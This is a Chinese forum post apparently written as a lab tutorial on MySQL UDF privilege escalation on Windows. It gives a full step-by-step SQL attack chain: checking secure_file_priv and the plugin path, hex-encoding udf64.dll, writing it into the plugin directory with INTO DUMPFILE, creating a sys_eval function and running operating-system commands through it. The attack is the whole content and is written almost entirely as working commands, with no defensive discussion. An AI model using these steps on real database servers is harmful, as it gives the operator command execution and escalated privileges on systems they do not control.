Windows机器的udf提权

鼠扑  金牌会员 | 2023-11-1 10:10:59 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 926|帖子 926|积分 2778

前提条件
(1)需要拿到mysql的权限
(2)mysql有写入文件的权限
实验步骤
(1)拿到数据库操作页面

(2)查询mysql版本,不同版本dll文件位置不同
  1. select version();
复制代码

(3)查询是否有写入文件权限
  1. show variables like "%secure%";
复制代码

(4)查询plugin文件路径
  1. show variables like "%plugin%";
复制代码

(5)将udf文件内容转换成16进制
  1. select hex(load_file('C:\\udf64.dll')) into dumpfile 'c:\\udf64.txt'
复制代码
(6)将本地udf64.dll文件以16进制数据上传到远程机器
当mysql版本大于5.1时需要上传到远程机器mysql\lib\plugin\udf64.dll中
  1. SELECT 0x(16位数据) into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll';
复制代码

当mysql版本大于5.0小于5.1时是按照dll加载顺序来加载dll文件,顺序是:
(1)可执行文件目录
(2)C:\Windows\System32
(3)C:\Windows\System
(4)C:\Windows
(5)PATH环境变量中列出的目录
(7)创建函数
  1. create function sys_eval returns string soname 'udf64.dll';
复制代码

如果失败,报错:Can't open shared library 'udf.dll',可能是因为mysql是32位或64位,与udf文件不匹配。成功入坑。牢记牢记。
查看mysql是32位还是64位

这里是64位的
(8)执行命令
  1. select sys_eval("whoami");
复制代码

这里提权,是提升到运行mysql服务的用户权限,如果mysql服务是以mysql用户运行的,那么提升到的权限也就是mysql,如果mysql服务是以administrator或者system运行,那么自然就提升到administrator或者system用户。
(9)删除函数
  1. drop function sys_eval;
复制代码

(10)查看udf函数
  1. select * from mysql.func;
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

鼠扑

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表